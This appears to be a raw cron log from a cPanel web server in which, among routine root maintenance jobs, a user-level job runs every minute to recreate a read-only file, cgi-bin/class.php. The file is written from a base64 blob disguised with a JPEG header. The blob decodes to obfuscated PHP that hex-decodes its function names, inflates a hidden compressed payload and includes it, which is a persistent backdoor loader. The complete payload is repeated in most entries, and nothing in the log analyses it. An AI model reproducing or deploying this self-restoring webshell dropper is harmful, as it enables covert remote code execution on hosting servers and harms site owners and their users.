Sep  6 19:47:01 server CROND[12938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:47:01 server CROND[12940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:48:01 server CROND[13415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:48:01 server CROND[13416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:48:01 server CROND[13417]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:49:01 server CROND[13795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:49:01 server CROND[13796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:49:01 server CROND[13797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:50:01 server CROND[14188]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 19:50:01 server CROND[14191]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 19:50:01 server CROND[14193]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 19:50:01 server CROND[14196]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:50:01 server CROND[14198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:50:01 server CROND[14194]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 19:50:01 server CROND[14197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:50:01 server CROND[14195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:50:01 server CROND[14192]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:51:01 server CROND[15114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:51:01 server CROND[15115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:51:01 server CROND[15116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:52:01 server CROND[15505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:52:01 server CROND[15506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:52:01 server CROND[15507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:53:01 server CROND[15887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:53:01 server CROND[15889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:53:01 server CROND[15888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:54:01 server CROND[16371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:54:01 server CROND[16372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:54:01 server CROND[16373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:55:01 server CROND[16763]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 19:55:01 server CROND[16765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:55:01 server CROND[16768]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:55:01 server CROND[16769]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 19:55:01 server CROND[16772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:55:01 server CROND[16776]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:55:01 server CROND[16775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:56:01 server CROND[17691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:56:01 server CROND[17690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:56:01 server CROND[17692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:57:01 server CROND[18091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:57:01 server CROND[18092]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 19:57:01 server CROND[18094]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:57:01 server CROND[18093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:58:01 server CROND[18463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 19:58:01 server CROND[18464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:58:01 server CROND[18465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
